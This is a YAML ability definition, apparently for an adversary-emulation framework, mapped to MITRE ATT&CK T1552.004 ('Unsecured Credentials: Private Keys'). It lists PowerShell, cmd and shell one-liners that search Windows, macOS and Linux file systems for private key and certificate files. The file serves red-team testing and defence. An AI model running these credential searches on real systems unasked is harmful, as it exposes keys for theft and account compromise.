de632c2d-a729-4b77-b781-6a6b09c148ba.yml

---

- id: de632c2d-a729-4b77-b781-6a6b09c148ba
  name: Find private keys
  description: Find private keys on the file system
  tactic: credential-access
  technique:
    attack_id: T1552.004
    name: "Unsecured Credentials: Private Keys"
  platforms:
    windows:
      psh:
        command: |
          foreach($i in @(".key",".pgp",".gpg",".ppk",".p12",".pem",".pfx",".cer",".p7b",".asc",".crt")){Get-ChildItem -Path c:\ -Depth 3 -File -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.name -Match "$i$"}}
      cmd:
        command: |
          for %i in (\.key \.pgp \.gpg \.ppk \.p12 \.pem \.pfx \.cer \.p7b \.asc) do (dir c:\ /b /s .key | findstr /e "%i")
    darwin:
      sh:
        command: |
          for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /Users -maxdepth 3 -name "*${i}" 2>/dev/null;done;
    linux:
      sh:
        command: |
          for i in .key .pgp .gpg .ppk .p12 .pem .pfx .cer .p7b .asc .crt;do find /etc -maxdepth 3 -name "*${i}" 2>/dev/null;done;